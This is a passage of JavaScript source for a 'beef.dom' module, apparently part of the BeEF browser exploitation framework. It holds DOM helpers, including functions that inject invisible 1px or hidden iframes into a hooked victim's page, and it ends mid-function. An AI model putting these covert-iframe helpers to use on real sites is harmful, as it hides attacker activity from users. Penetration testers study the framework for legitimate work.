/*! * @literal object: beef.dom * * Provides functionalities to manipulate the DOM. */ beef.dom = { /** * Generates a random ID for HTML elements * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-" * @return: generated id */ generateID: function(prefix) { return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999); }, /** * Creates a new element but does not append it to the DOM. * @param: {String} the name of the element. * @param: {Literal Object} the attributes of that element. * @return: the created element. */ createElement: function(type, attributes) { var el = document.createElement(type); for(index in attributes) { if(typeof attributes[index] == 'string') { el.setAttribute(index, attributes[index]); } } return el; }, /** * Removes element from the DOM. * @param: {String or DOM Object} the target element to be removed. */ removeElement: function(el) { if (!beef.dom.isDOMElement(el)) { el = document.getElementById(el); } try { el.parentNode.removeChild(el); } catch (e) { } }, /** * Tests if the object is a DOM element. * @param: {Object} the DOM element. * @return: true if the object is a DOM element. */ isDOMElement: function(obj) { return (obj.nodeType) ? true : false; }, /** * Creates an invisible iframe on the hook browser's page. * @return: the iframe. */ createInvisibleIframe: function() { var iframe = this.createElement('iframe', { width: '1px', height: '1px', style: 'visibility:hidden;' }); document.body.appendChild(iframe); return iframe; }, /** * @param: {String} type: can be one of the following: hidden, fullscreen, custom * @param: {String} method: can be 'get' or 'post'. defaults to get * @param: {Hash} params: list of params that will be sent in request. * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter * @param: {Function} a callback function to fire once the iframe has loaded * @return: {Object} the inserted iframe */ createIframe: function(type, method, params, styles, onload) { var css = {}; var form_submit = (method.toLowerCase() == 'post') ? true : false; if (form_submit && params['src']) { var form_action = params['src']; params['src'] = ''; } if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); } if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); } var iframe = $j('